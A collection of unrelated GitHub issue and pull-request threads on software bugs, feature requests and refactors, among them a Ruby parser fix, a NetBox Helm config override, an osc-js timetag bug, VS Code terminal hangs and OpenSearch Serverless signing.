[New RISC-V Tutorial Resource] - Introduction to RISC-V Assembly (video series in Portuguese)

Resource Title
Introdução à Assembly de RISC-V
Resource Description
It's a series of YouTube videos, in Portuguese, produced as material for the Teaching Assistant program of the CI1210 ("Projetos Digitais e Microprocessadores", free-translated to "Digital Projects and Microprocessors") classes of the Computer Science degree at the Universidade Federal do Paraná (Federal University of Paraná), Brazil. It encompasses the basic RISC-V IM architecture and uses the EGG emulator.
The series is not yet complete, the production is ongoing.
Resource Link
https://youtube.com/playlist?list=PLFe3Zrf4uj4vlRF21jK3vzfCuSSJ5I_uB&si=bx4eHYpPLBxAUTy8
Required Background (Optional)
Basic C programming and digital logic understanding is desired.
Additional Details (Optional)
No response

Thanks for your contribution @gboncoffee 🎉
Currently, we understand that the production is ongoing so we will let this issue open for a while until your series is finshed.

Hello, the production is finished by now.

Thanks! ;)


[Bug] Ruby parsing issue

Describe the bug
Ruby parser fails for the below code
Please keep the conversation English! Make it easy for us and share your input code or a minified example.
To Reproduce
Load this code in the Ruby parser and see it failing.
Expected behavior
Parsing should pass
Screenshots
NA
Desktop (please complete the following information):
NA
Additional context
NA

A minified sample is x = a+@b. This should be parsed as a binary expression + between a and @b. The issue is that +@ is a token by itself.

Another minified sample is with foo(x:y). This is meant to be a foo call with an association x:y for argument, but :y is being first recognized as a symbol.

@ankit-privado Looks like #3147 added this is now parsed in full. Let me know if you still find issues in it.


Need a way to override NGINX Unit configuration

Chart version 4.1.1
netbox version 3.4.2
Params:
preferIPv4: true
Error:
⚙ Applying configuration from /etc/unit/nginx-unit.json
2023/01/17 14:03:53 [alert] 7#7 socket(\"[::]:8080\") failed (97: Address family not supported by protocol)
2023/01/17 14:03:53 [alert] 18#18 failed to apply new conf
⚠ Could no load Unit configuration
2023/01/17 14:03:53 [notice] 7#7 process 14 exited with code 1
2023/01/17 14:03:53 [notice] 7#7 process 17 exited with code 0
2023/01/17 14:03:53 [notice] 7#7 process 18 exited with code 0

Was just browsing and saw this, you need to remove the NGINX ipv6 config (hard coded in the image):
https://github.com/netbox-community/netbox-docker/wiki/Troubleshooting#netbox-container-doesnt-start-when-ipv6-is-disabled

I'm using NetBox 3.4.x with no issues. By the sounds of things it's exactly what @pagey101 says. The chart should probably have a mechanism to overrside the nginx-unit.json configuration for such cases.

I would be happy to add the this feature as I also have the need. Let me know if a PR is accepted for this

You can add the config in a config map and then do this in the helm-values
    extraVolumeMounts:
      - name: nginx-config
        mountPath: /etc/unit/nginx-unit.json
        subPath: nginx-unit.json

    extraVolumes:
      - name: nginx-config
        configMap:
          name: nginx-config

I've added this in 7bd55521ddcc9c99ce710479892f321c2e5226d7 and it will be in the next release of the chart.

I could really use this fix.
When will the next release of the chart be?
(The last one was over a year ago - Aug 15, 2022!)


Add cloud service integrations

Add 3rd party integrations to the docs
Status:

[x] Azure
[ ] Artik
[ ] AWS
[ ] Bluemix

@imrehg We can tick off and close :)


fix handling of curly braces in KEYS

In redis clusters, you can put curly braces around a part of the key to make sure some keys go into the same hash slot.
They have a special meaning in regex, but not for redis, so they must be escaped.
When transforming a key-glob {hashslot}:abc with createRegexFromGlob, this was not done, leading to java.util.regex.PatternSyntaxException: Illegal repetition near index 0 ^{testTenant::testNamespace::}.*$

hi @dev-hanz-ops , thanks for the nice fix!


Do not fatal error for Can I Use URL: foo and foo does not exist

For https://tabatkins.github.io/bikeshed/#metadata-can-i-use-url I think it makes perfect sense to specify this to get notified if caniuse adds its first feature for your spec, but if it has no features from your spec bikeshed gives a fatal error. I think it shouldn't be an error/warning at all.

Ah, yup, I agree.

Well, hm.  I agree it shouldn't fatal.  But it's useful to be told that you have a typo; maybe I'll downgrade this to a warning?

k, done. The "url doesn't show up" error is now a warning, and there's a new Ignore Can I Use URL Failure: <url> metadata you can use to suppress even that.


Add option to request 'additional data' on the getmarketcatalogue endpoint

the feature like getting start time on specific events/. runner name is available from the main betfair api

@coush001 you can use the market_projection parameter to include these. Might also want to remove the screenshot as it's sharing a bit too much

Feel free to join the slack (if you haven't) for questions like this


shapes, Creator - Web design #429

https://images01.nicepagecdn.com/page/22/45/html-template-2245294.jpg Design a shapes, like the above image
Create a file "shapes,NUM_by(YourName).html" in the modules/shapes, folder.
Use simple HTML and CSS and JAVASCRIPT to create the shapes, animation. You can use the interface development https://roynek.com/kwickerhub/WebCraftifyAI/pages/dashboard.html (This project) or you can write the lines of code yourself. You can review and merge your PR yourself. simply follow the guide on accepting a PR at the bottom. It is simple but if you do have any issues with reviewing the PR, you can then reach out to the Admins.
Step by Step Guide on Contributing.
Fork this project(Use the 'fork' button in the top right corner) and Clone your Fork.
git clone https://github.com/YOUR_USERNAME/frontend
Open your code Editor and Create a file "shapes,NUM_YOUR_NAME.html" in the "modules/shapes," folder of this project you just cloned. No need to create head, title and body tags, Just Add a div tag with some embedded style(i.e use the style tag) and the script tag where necessary.
If you want to add an image resource, please add it in the folder ••
"modules/shapes,/images_and_icons"
We recommend you use an svg for your image/icon.
Push your Code: You need to push your recent changes back to the cloud. Use the command below in the main directory of this Repository
git push origin dev
or use a GUI tool to avoid mistakes or complexity. LOL.
Then make you Pull Request...
Below is a example of the code structure we need:
<div>
    <!---YOUR CODE---->
</div>

<style>
    /* YOUR STYLE */
</style>

<script>
    // YOUR SCRIPT if any
</script>

The goal of this issue is to create modules that other people/dev/designers can use or easily import into their projects. Avoid the desire to style all elements in the page by using codes like:
<style>

*{

}
/* OR */

div, a, h1, pre{

}

</style>

use classes or id to style the elements to avoid a collision of styles.
Remember to make your module usable across different screens(Make your design responsive).
For more examples:
modules->buttons
modules->cards
for examples of contributions or Pull request accepted in to the project.
And please do not wait for this issue to be assigned to you as we have limited hands but have a lot to do/cover. Please send in your PR.
Accepting Pull Request
This Issue has the auto-review so you can review and merge your code yourself. when you have made your PR, click this link: https://roynek.com/alltrenders/codes/theWorld.php?post_id=181 and then follow the few steps outlined to get your PR merged..
If this project looks promising or interesting to you, you can use the watch button or the star button above to keep an eye out for new developments.
Good-luck and thank you.

what should I do? just drop the image you have set on the link https://images01.nicepagecdn.com/page/22/45/html-template-2245294.jpg , what do you mean by designing shapes as the photo? Thanks a lot

You are free to use any random image. The goal here is simply for you to
reproduce the html design as seen in the link. check the modules folder to
find out more solutions people have dropped.
On Thu, Feb 8, 2024 at 4:51 PM YummyYummy06 @.***>
wrote:

what should I do? just drop the image you have set on the link
https://images01.nicepagecdn.com/page/22/45/html-template-2245294.jpg ,
what do you mean by designing shapes as the photo? Thanks a lot
—
Reply to this email directly, view it on GitHub
https://github.com/KwickerHub/WebCraftifyAI/issues/2125#issuecomment-1934416710,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AOKWIBOFUL6DMGFIO3R3XFTYSTX6LAVCNFSM6AAAAABC7BZ27KVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTSMZUGQYTMNZRGA
.
You are receiving this because you authored the thread.Message ID:
@.***>


Set up your Spfx Page references V1.12

The main MS setup docs for Spfx "Set up your SharePoint Framework development environment" reference unstable release Spfx v1.12 this may mislead new developers.
Should docs reflect stable Spfx V1.11 instead?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 5bee09a8-022e-1b5a-4aab-d6e7c6216808
Version Independent ID: 49edce1e-f2be-e989-917f-c6b389363e2f
Content: Set up your SharePoint Framework development environment
Content Source: docs/spfx/set-up-your-development-environment.md
Product: sharepoint
Technology: sharepoint-framework
GitHub Login: @VesaJuvonen
Microsoft Alias: vesaj

Yes. SPFX  Version 1.12 release is currently considered as deprecated due the unexpected regressions.  Should still use the V1.11 stable version.
And this command currently will install v1.11 SPFX generator:
npm install gulp yo @microsoft/generator-sharepoint --global
Another point needs to care is to install Node.js 10.x as v1.11 didn't support Node. js 12.x .


Query

This PR add traits which standardize calls (triggered by transactions), queries, and clients which can call and query state remotely.
TODO:

[x] Call trait
[x] Query trait
[ ] Client trait
[x] Finalize macro expansion code
[ ] Client macro
[ ] Doc comments

The scope of this was a lot bigger than it should have been, I'm now limiting this to only finalizing the Query trait, its derive macro, and related implementations.
The addition of the Call trait and various client changes will be kept in the PR but those features will be finished in later PRs.

Codecov Report

Merging #54 (237fe3b) into develop (74bee1f) will decrease coverage by 12.34%.
The diff coverage is 11.53%.

@@             Coverage Diff              @@
##           develop      #54       +/-   ##
============================================
- Coverage    74.90%   62.56%   -12.35%
============================================
  Files           18       22        +4
  Lines         1825     2161      +336
============================================
- Hits          1367     1352       -15
- Misses         458      809      +351

Impacted Files
Coverage Δ

src/abci/context.rs
0.00% <0.00%> (ø)

src/abci/mod.rs
0.00% <0.00%> (ø)

src/abci/node.rs
0.00% <0.00%> (ø)

src/client/mock.rs
0.00% <0.00%> (ø)

src/collections/deque.rs
94.35% <ø> (ø)

src/collections/entry_map.rs
96.10% <ø> (ø)

src/collections/mod.rs
95.23% <ø> (ø)

src/merk/backingstore.rs
0.00% <0.00%> (ø)

src/merk/proofbuilder.rs
0.00% <0.00%> (ø)

src/state/mod.rs
100.00% <ø> (ø)

... and 12 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 74bee1f...237fe3b. Read the comment docs.


Updating SF events calendar

Docs Build status updates of commit 5baef84:
:clock10: Pending: waiting for processors (31 builds ahead of you)
:warning: Docs Build is busy, currently there are 31 builds ahead of this one, for more information you can view the Build queue graph on the Docs Portal.

Docs Build status updates of commit 5baef84:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

mixed-reality-docs/sf-academy-events.md
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Company Page - New Service Link import Required

Problem -
Linking Services to Companies is pain
Clients generally have sheet for every service,
ie.
ITR filling software give Companies list with PAN
GST filling software gives Companies list in PAN
this sheet can be imported to ECB
Solution-

Give to Import Option on company Page
Import sheet and then Select service for this sheet is applied
ECB will link Service to clients

Initiated by @vinpahilwani, @sureshsirvi
Verified by @mitulpanch

Api Ready
This is Link Import
This will not create Company - This is just linking to a service

Create Import Sheet with Company Name, PAN card, either 1 is Required
While Uploading File, Service need to be selected, single selection
Job with import will be created for background Task

still waiting for confirmation from @vinpahilwani , @sureshsirvi

changes  required @sureshsirvi
Multiple Service Link required for single Sheet
Optional GST Number Import also required with PAN details
Client will provide PAN or GST due to existing Software Export gives GST Number instead of PAN

Approved

Only PAN is working now
GST work is pending


Refactor RequestStage and PopulateTileStoreStage stages

Reading through the code, I found that RequestStage and PopulateTileStoreStage contain a lot of complexity. I have started making a diagram detailing how it works. It felt too complicated, in my opinion, so I tried to refactor it.

I believe this part of the code could be simplified. As a library, maplibre-rs should thrive to be as simple and as easy to use as possible for developers, while still being as customisable as possible.
I believe there are several issues with the design, some of which may have already been discussed. Many of these issues concern the SharedThreadState struct:
#[derive(Clone)]
pub struct SharedThreadState {
    pub tile_request_state: Arc<Mutex<TileRequestState>>,
    pub message_sender: mpsc::Sender<TessellateMessage>,
    pub geometry_index: Arc<Mutex<GeometryIndex>>,
}

SharedThreadState doesn't really respect the SRP because it stores the state and it also handles the processing of the tile.

SharedThreadState stores the tile_request_state, which is a second data structure that stores tiles, in addition to tile_repository. I believe the 2 could be merged.

I have not figured out what GeometryIndex does yet, I believe it is used for querying. Could you explain it to me? It may require some more work on my part to refactor correctly.

SharedThreadState contains 2 atomically reference counted  mutexes. This is not very good for performance. We can make it work with the mpsc only.

RequestStage and PopulateTileStoreStage depend on eachother, and will likely never be separated. I believe it doesn't make sense to split them. I replaced it with a stage called FetchStage.

In the io module we can find the following files: tile_pipelines.rs, tile_repository.rs, tile_request_state.rs. In my opinion, these files are not really related to io and should move to a separate tile module.

I have made other small changes such as: using a style in headless mode to configure camera position and perspective, colors, layers...; use while let Ok(result) = self.message_receiver.try_recv() instead of if let Ok(result) = self.message_receiver.try_recv() to handle incoming mpsc messages.

This pull request attempts to fix the issues detailed above: simplify the diagram; remove the 2 mutexes; merge RequestStage and PopulateTileStoreStage; create a tile module; etc. I have updated my diagram with my new implementation below.

Please be aware that this is an opinionated refactor. I don't know every reasons behind the maplibre-rs implementation details and I may be wrong, or I may have misunderstood multiple aspects, such as why we use PipelineProcessor to process tiles? Is it for extendability?
I do not mind if we do not merge this pull request, but I believe we should discuss about simplification of the design and this might be a good place to start.
Additional issues detected
I have identified two other issues which I have not tackled yet.

In RequestStage, when we send the styles (and a few other elements) to the thread, we use .clone() to make a copy of the style, so we can give the ownership to the thread. Instead of cloning, we should use Arc<RwLock> to provide an atomic reference counted access with the possibility to make multiple concurrent reads.
In RequestStage, we skip every layer that is not found within the source-layer property of the style layers. This may be wrong because layer styles that are not of type vector do not contain the source-layer property. Source Layer property doc

✔ PR Todo

[ ] Discuss the proposition
[ ] Validate how GeometryIndex works
[ ] Fix the issues with the headless mode demo
[ ] Remove PipelineProcessor from the io module

TODO: Reevaluate the Processor/DataPipeline

This will be split in at least 2 PRs:

One for refactoring the tile repository
One for refactoring the stages
One for refactoring the pipelines

I opened this PR as a preparation: https://github.com/maplibre/maplibre-rs/pull/158
I noticed that the logic for loading new layers into the tile repository has been changed in this PR. Please create separate PRs for refactoring & changing actual logic.
Closing this as smaller PRs need to be created from this.


Speed up model loading for generate

This has not been extensively tested  (only mistral 7b) and more of a proposal!
This change does the follow:

Create the model on the meta device
Load the state dict with assign=True which preserve the properties of the checkpoint (mmap-ed cpu Tensor in this case)
Initialize non-persistent buffers remaining on the meta device
Move the finalized model to the requested device/dtype

This makes the model loading almost instant on my machine.

Any way I can know from the CI logs what is my lint mistake so I can fix it?

@albanD thanks so much for putting this up! I'll take a more detailed look tomorrow, but to answer your lint question - you can do the following:
pre-commit install
pre-commit run --all-files

This will fix all of the issues for you.

Thanks for the PR @albanD! Tbh we have already had a fraught relationship with meta device initialization 😅 (see e.g. #317, #418, #514). Our latest status is that we deliberately sacrifice a bit on time-to-first-batch for the sake of keeping code in the model components agnostic to meta device. But generation is an interesting case since the total runtime is much lower than on a finetune with FSDP (which is what we were focusing on previously). Out of curiosity, what is the speedup of meta device vs just initializing directly on GPU in this case?

I would need to check once I go back on the machine in question.
The more important bit tbh is that the CPU model was fully using the mmap-ed loaded Tensors and so was not blowing up my scarse RAM :D
@kartikayk I saw that but I don't have pre-commit in my environment :p


The "Template friends" section is a copy of the next chapter!

https://docs.microsoft.com/en-us/cpp/cpp/class-templates#template-friends
equals to
https://docs.microsoft.com/en-us/cpp/cpp/template-friends

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 1973bcf0-42db-7302-d4af-93b12b824b26
Version Independent ID: 4766da4c-9620-ddc0-0251-dcaa644b0e51
Content: Class Templates
Content Source: docs/cpp/class-templates.md
Product: visual-cpp
GitHub Login: @mikeblome
Microsoft Alias: mblome

removed duplicate topic. should be visible 08/21. thanks @baruchiro  !


Integer bundle timetags ignored

Hi, I'm having trouble getting a timestamped bundle through BridgePlugin.
I send the bundle like this, to timestamp it 5 seconds into the future:
<button id="send" style="font-size: 2em">Send bundle</button>
<script type="text/javascript" src="./node_modules/osc-js/lib/osc.min.js"></script>
<script type="text/javascript">
  const comm = new OSC();
  comm.open(); // connect by default to ws://localhost:8080
  document.getElementById('send').addEventListener('click', function () {
    const message = new OSC.Message(
      '/dirt/play',
      ...['s', 'hh'],
    );
    const bundle = new OSC.Bundle([message], Date.now() + 5000)
    comm.send(bundle);
  });
</script>

This goes through the bridge:
const OSC = require('osc-js');

const config = {
  receiver: 'ws',
  udpServer: {
    host: 'localhost',
    port: 57121,
    exclusive: false,
  },
  udpClient: {
    host: 'localhost',
    port: 57120,
  },
  wsServer: {
    host: 'localhost',
    port: 8080,
  },
};

const osc = new OSC({ plugin: new OSC.BridgePlugin(config) });
osc.open();

Sniffing the UDP with wireshark though, I can see that the OSC that comes out has a timestamp of 'now' rather than 'now-plus-5-seconds'.
Could there be something wrong in the BridgePlugin, or am I constructing the bundle wrong in the first place? Any help would be much appreciated!

I think I found the bug:
https://github.com/adzialocha/osc-js/blob/d5693c6cc4013fe39658a233ca37f44ff3e4b03a/src/bundle.js#L55
isInt(args[0]) should be isInt(args[1]).
Currently:

this doesn't work: bundle = new OSC.Bundle([message], Date.now() + 5000)
this does: bundle = new OSC.Bundle(Date.now() + 5000, message)

Correction - bundle = new OSC.Bundle(Date.now() + 5000, message) has the right timestamp, but the message doesn't get added.
The PR fixes bundle = new OSC.Bundle([message], Date.now() + 5000), in any case.

Amazing! Thanks for spotting this @yaxu! Another reason to slowly look into porting this project to Typescript 😅


[Support] Bot Question

How can i do this with the bot but have it show the correct values?
https://i.imgur.com/xMXfZwD.png
Forge
dcintegration-1.1.18-1.12.jar

This is currently not implemented, not even on 1.16.
Might add them to 1.16 too
(if you are lucky, there might also come an really final 1.12 update, containing this and another request, too)

This is currently not implemented, not even on 1.16.
Might add them to 1.16 too
(if you are lucky, there might also come an really final 1.12 update, containing this and another request, too)

and im guessing a bugfix for channel description not being a functional thing will be in that aswell?

and im guessing a bugfix for channel description not being a functional thing will be in that aswell?

That feature will be completely removed as it can only be updated two times in 10 minutes. But the bot status will be the best alternative to that

That feature will be completely removed as it can only be updated two times in 10 minutes. But the bot status will be the best alternative to that

Ah okay, so either having it off or set to 330000 would fix it spamming console then? {im leavening it off}

Ah okay, so either having it off or set to 330000 would fix it spamming console then? {im leavening it off}


update to ^9.0.0 react-markdown

Issue #, if available:
Description of changes:
#261
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Memo TODO
I need to implement a copy button for the code, and a reference link for the documentation.

@statefb
review please


Removed trailing whitespace throughout solution

I'd recommend installing this plugin: https://marketplace.visualstudio.com/items?itemName=MadsKristensen.TrailingWhitespaceVisualizer

David,
Thanks for your look at this,
Unfortunately, We cannot take this PR here as it would be overwritten by the next push from our in our system.
The formatting aspect is also driven by our internal tools and will change a bit over time.
I will discuss your ask with the dev leader
thanks

David,
Thanks for your look at this,
Unfortunately, We cannot take this PR here as it would be overwritten by the next push from our in our system.
The formatting aspect is also driven by our internal tools and will change a bit over time.
I will discuss your ask with the dev leader
thanks

This process is mostly complete... I am going to close this out for now.


Special characters in file/foldername are not handled correctly

See
https://forums.plex.tv/index.php/topic/96350-request-subliminal-subtitles-addic7ed-podnapisi-opensubtitles/page-3#entry777756

Looks like a Mac OS specific issue with path encoding/decoding.


Support gocode client mode

Add a gocode_client_mode setting to enable mdempsky/gocode 's client mode, performance improved.
I'm not an expert of Sublime Text plugin development, so if there's anything I missed, please just figure it out, thanks in advance.

Thanks @jostyee ! Just need a little modification :)


Unable to center align text

Describe the bug
There isn't a way left/right/center align text using the editor. Align text to the left/right/center is a very basic feature, but I'm not sure how to enable it.
Expected behavior
To be able to align text.
Screenshots

Desktop (please complete the following information):

OS: Ubuntu 20.04
Browser: Chrome
Version: 94

Can't that feature be implemented using divs? This works for markdown

 Deprecated

 Not Deprecated


Status of the Wacom Tablet Side buttons, no event

I can't emulate the side button of my Wacom Intuos5 tablet with Karabiner.
This would be very very useful...
I don't see anything on the event viewer when I press one of the Wacom button, but i see when i "mouse up or down".
Does seeing nothing in the event viewer means this would never be possible ?
Many people use the tablet as a "pointing device" while leaving the left hand on the physical keyboard.
Providing the ability to perform various app related shortcut, but we need to tap too on the Wacom physical buttons... if we could map those button to some keyboard shortcut with karabiner this would be so much better !

Unfortunately, Karabiner does not support tablet devices.
And there is not a plan to support them I don't have these devices for now.
I found other project TabletMagic. How about it?
https://github.com/thinkyhead/TabletMagic


[8.x] Allow customisation of random string using regex parameter

An enhancement to the Str::random() function.
I found a need today that I wanted a quick of generating multiple 4 character long unique strings, but they had to be [A-Z].
This allows you to put a custom regex parameter in to ensure that the returned strings match that regex.
EG:
Str::random(4, 'A-Z'); // Might return AURE
Str::random(4, 'A-Za-z'); // Might return AirT

I don't believe this will break anything as the original str_replace seems to do the same as what A-Za-z0-9 would do.

Thanks for your pull request to Laravel!
Unfortunately, I'm going to delay merging this code for now. To preserve our ability to adequately maintain the framework, we need to be very careful regarding the amount of code we include.
If possible, please consider releasing your code as a package so that the community can still take advantage of your contributions!
If you feel absolutely certain that this code corrects a bug in the framework, please "@" mention me in a follow-up comment with further explanation so that GitHub will send me a notification of your response.


Move to pure Javascript bcrypt

The compiled bcrypt is a pain; we should just use https://www.npmjs.com/package/bcryptjs which is slower but pure JS.

@evanp why? I've never had any problems with it (at least not since we upgraded it for newer Node versions)

Also, AFAICT, this will have a performance impact due to existing hashes unless we do some sort of sketchy migration when users use their password in any way since bcryptjs is (according to its README) ~2.7x slower

Per the meeting last week we're going to take the perf hit here since it doesn't happen very frequently. This'll make it into the next release probably.


Dialect

The dialect of this resource file type.
Unavailable upon testing
Do we need dialect?

#174


Infinite loop when opening a new terminal in VSCode

Does this issue occur when all extensions are disabled?: Yes/No

Does this issue occur when all extensions are disabled?: Yes
Occurred in different versions of the software
207942
VS Code Version: 1.91.1
OS Version: 10.0.19045
#207942
Steps to Reproduce:

Open Vscode project folder
Open Terminal

Hi,
I opened a task here before about this problem.
It comes and goes, I can't understand why and what are the reasons for this.
I would appreciate your help in trying to understand the root of the problem.
Thanks
Yaniv

It looks like your report is missing some important information, See this wiki page for more info on how to report actionable terminal issues.
/label info-needed terminal

Hi,
Thanks for the response. I am attaching the settings file but all other things have already been checked. Is there anything else missing?
This happens for different versions of the software and also on different machines. Even without plugins running.
The terminal is stuck (Powershell) and code cannot be run.
Thanks
settings.json

is there anything in your powershell profile?

Yes, but it happened before.
Now, for example, it's fine. I previously opened a task about it and they asked me to open it again when it comes back, but it sometimes happens and sometimes it doesn't.
The problem is that when this happens nothing can be done. The terminal hangs and scripts that are used by users on a daily basis cannot be run.
Is it possible to contact you directly and show you this when it happens again?
Thanks!

It would help if you'd enable terminal trace logging and provide the logs when this happens:
Run the command Developer: Set Log Level -> terminal -> trace

Sorry for the delay. Attach the output. Hope it helps us.
Thank you!
Uploading vscode-app-1721624617733.log…

@yaniv3109 upload didn't seem to work

vscode-app-1721624617733.log

vscode-app-1721818408748.log

does this happen if you disable all extensions?

Yes, it happens on different machines too..

does disabling shell integration fix it , terminal.integrated.shellIntegration.enabled:false?

I think there's something going on with your powershell profile conflicting with our shell integration script. If you could provide it, I could see if anything sticks out.

What do you suggest checking? Is there a way to try to debug it?

you could provide the contents of your powershell profile


Support for newer Package Versions

Would be great if the following package versions were supported:

pandas 2.0.*
lightgbm 4.0.*

Hey @gro1m, sorry for the late response. We are including this in our backlog. We'll notify you when new package versions are supported.

Hey @gro1m, included is the updated dependency requirement for pandas 2.x in the 7.8.0 release. See PR. I'll try to squeeze the other requirement you asked for in a follow up

Hi, there.  We are also trying to incorporate the Arize MimicExplainer package in our workflow.  It would be great if you would also be able to add numpy 1.24.*, as well.  Thank you!

Hey @gro1m, will look into numpy and lightgbm in our next release or two. Will notify you

Hi @gro1m, in our latest release 7.10.0 we looked at our requirements for the mimic explainer. We now just defer to the requirements of the libraries we use without any other guardrails. Hence, you should be able to use the versions you mentioned above. Please let me know when you do so I can close the issue
https://github.com/Arize-ai/client_python/blob/main/setup.cfg#L45


feature: Give helpful advice when profile missing on host

This updates the error message given when a profile is not found on a host (note Sonatype currently has 2 OSS hosts - oss.sonatype.org & s01.oss.sonatype.org - and any profile will only exist on one of the hosts).

(example here)
There can be two possible causes when a profile is not found on a host:

The profile name is misspelt/incorrect (eg 'com.gnu' or 'john.smith' instead of 'com.gu')
The profile is actually on the other Sonatype OSS host

The original error message really only indicated the possibility of the 1st problem, but the 2nd issue is increasingly likely - since February 2021 new profiles have only been registered on the new host s01.oss.sonatype.org, and sbt-sonatype defaults to using the older host, oss.sonatype.org.
The new error message aims to make the user aware of the 2 possible causes of the 'missing profile' problem, and offer advice on how the 2nd problem could be corrected.
Before:

Profile com.gu is not found. Check your sonatypeProfileName setting in build.sbt

After:

Profile com.gu is not found on oss.sonatype.org. In your sbt settings, check your sonatypeProfileName and sonatypeCredentialHost (try s01.oss.sonatype.org?)"

Sonatype host is determined by-profile (not by-user)
Note that in the past, there's been a bit of confusion (ok, I've been a bit confused!) about whether hosts are assigned on a by-user or by-profile basis (many users can be granted access by Sonatype to upload to one profile, eg we at the Guardian have that for our com.gu profile). It's definitely per-profile though - so sonatypeProfileName dictates which sonatypeCredentialHost you want to be using.
As a user (eg, for me, with my Sonatype user account 'roberto') working on a variety of projects with different profiles (eg, for me, working on projects under com.gu, com.madgag & org.scanamo) when I'm performing a release I'll be uploading to either oss.sonatype.org, or s01.oss.sonatype.org, depending on which profile/groupId that particular project lives under.

i just noticed this PR. Will take a look

i just noticed this PR. Will take a look

Thanks @xerial! How does it look to you? I'm happy to make changes if required?

Merged with some fixes for code cosmetics

Thank you!


How to handle large numbers of nodes?

I want to display 60 000 nodes. It's not a problem in memory, but it is a problem on the screen - it takes a minute or more to draw the tree before it collapses.
Is there a way to handle a tree this large?  I can't see any way of starting collapsed, which I think would solve the problem.

check out angular-vs-repeat

Thanks, this looks useful, but unfortunately it won't work for treeviews because "all rendered elements must have the same height/width or the sizes of the elements must be known up front".
I think the only solution for now is to keep two datasources: one small one for the treeview and one full dataset. I'll then load the nodes from one to the other on demand as the user clicks around the tree.  Hopefully in the future the author of angular-ui-tree can implement on demand drawing too.

samehere, i wanna display 10k nodes. very slow loading.

The problem with that is not really related to angular-ui-tree. It's ng-repeat which makes it unbearably slow with such long lists. I think the only way to solve it would be lazy loading, or pagination.
You actually can start with the tree collapsed. Not sure why it doesn't for you. There's another thread here somewhere talking about that.

yes, i use lazy loading to solve it .

Closing this issue due to inactivity. See #815 for more information.
Please create a new issue is this still occurs with the current version of the component.


Added support for Amazon OpenSearch Serverless.

Signed-off-by: dblock<EMAIL_ADDRESS>Description

Lets you configure the service name, defaults to es (Managed OpenSearch).
Always adds a x-amz-content-sha256 header as per doc. Seems to work against AWS Managed OpenSearch too.

     let transport = TransportBuilder::new(conn_pool)
         .auth(aws_config.clone().try_into()?)
         .service_name("aoss")
         .build()?;

@Xtansia does this look right? I am a rust noob, so no idea if I got the String vs. str types right here and whether service_name is on the right object or whether we can do better. Please tell me what to do + it needs tests & docs.
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Codecov Report

Merging #96 (de8f96f) into main (8432c58) will decrease coverage by 4.69%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##             main      #96      +/-   ##
==========================================
- Coverage   42.28%   37.59%   -4.70%
==========================================
  Files          50       50
  Lines       28085    28089       +4
==========================================
- Hits        11877    10561    -1316
- Misses      16208    17528    +1320

Flag
Coverage Δ

integration
37.59% <100.00%> (-4.70%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

opensearch/src/http/transport.rs
43.24% <100.00%> (-6.57%)
:arrow_down:

opensearch/src/indices.rs
38.98% <0.00%> (-8.90%)
:arrow_down:

yaml_test_runner/tests/common/client.rs
87.87% <0.00%> (-6.07%)
:arrow_down:

opensearch/src/root/mod.rs
31.02% <0.00%> (-5.65%)
:arrow_down:

opensearch/src/cat.rs
40.41% <0.00%> (-5.35%)
:arrow_down:

opensearch/src/cluster.rs
38.59% <0.00%> (-3.91%)
:arrow_down:

yaml_test_runner/src/step/skip.rs
85.91% <0.00%> (-2.82%)
:arrow_down:

yaml_test_runner/src/skip.rs
92.50% <0.00%> (-2.50%)
:arrow_down:

opensearch/src/http/response.rs
16.18% <0.00%> (-2.32%)
:arrow_down:

... and 5 more

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

Codecov Report

Merging #96 (de8f96f) into main (8432c58) will decrease coverage by 4.69%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##             main      #96      +/-   ##
==========================================
- Coverage   42.28%   37.59%   -4.70%
==========================================
  Files          50       50
  Lines       28085    28089       +4
==========================================
- Hits        11877    10561    -1316
- Misses      16208    17528    +1320

Flag
Coverage Δ

integration
37.59% <100.00%> (-4.70%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

opensearch/src/http/transport.rs
43.24% <100.00%> (-6.57%)
:arrow_down:

opensearch/src/indices.rs
38.98% <0.00%> (-8.90%)
:arrow_down:

yaml_test_runner/tests/common/client.rs
87.87% <0.00%> (-6.07%)
:arrow_down:

opensearch/src/root/mod.rs
31.02% <0.00%> (-5.65%)
:arrow_down:

opensearch/src/cat.rs
40.41% <0.00%> (-5.35%)
:arrow_down:

opensearch/src/cluster.rs
38.59% <0.00%> (-3.91%)
:arrow_down:

yaml_test_runner/src/step/skip.rs
85.91% <0.00%> (-2.82%)
:arrow_down:

yaml_test_runner/src/skip.rs
92.50% <0.00%> (-2.50%)
:arrow_down:

opensearch/src/http/response.rs
16.18% <0.00%> (-2.32%)
:arrow_down:

... and 5 more

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

@dblock This looks good to me. I think where you have service_name is the safest, the only potentially more ideal would be to expand the Credentials::AwsSigV4 variant to take some kind of struct rather than being a flat tuple, which would improve backwards compatibility in the case of adding more settings/fields specific to SigV4, but at the cost of breaking API compatibility now.
Something like:
let creds = AwsSigV4Credentials::from(sdk_config).service_name("es");
transport_builder.credentials(Credentials::AwsSigV4(creds))

@dblock This looks good to me. I think where you have service_name is the safest, the only potentially more ideal would be to expand the Credentials::AwsSigV4 variant to take some kind of struct rather than being a flat tuple, which would improve backwards compatibility in the case of adding more settings/fields specific to SigV4, but at the cost of breaking API compatibility now. Something like:
let creds = AwsSigV4Credentials::from(sdk_config).service_name("es");
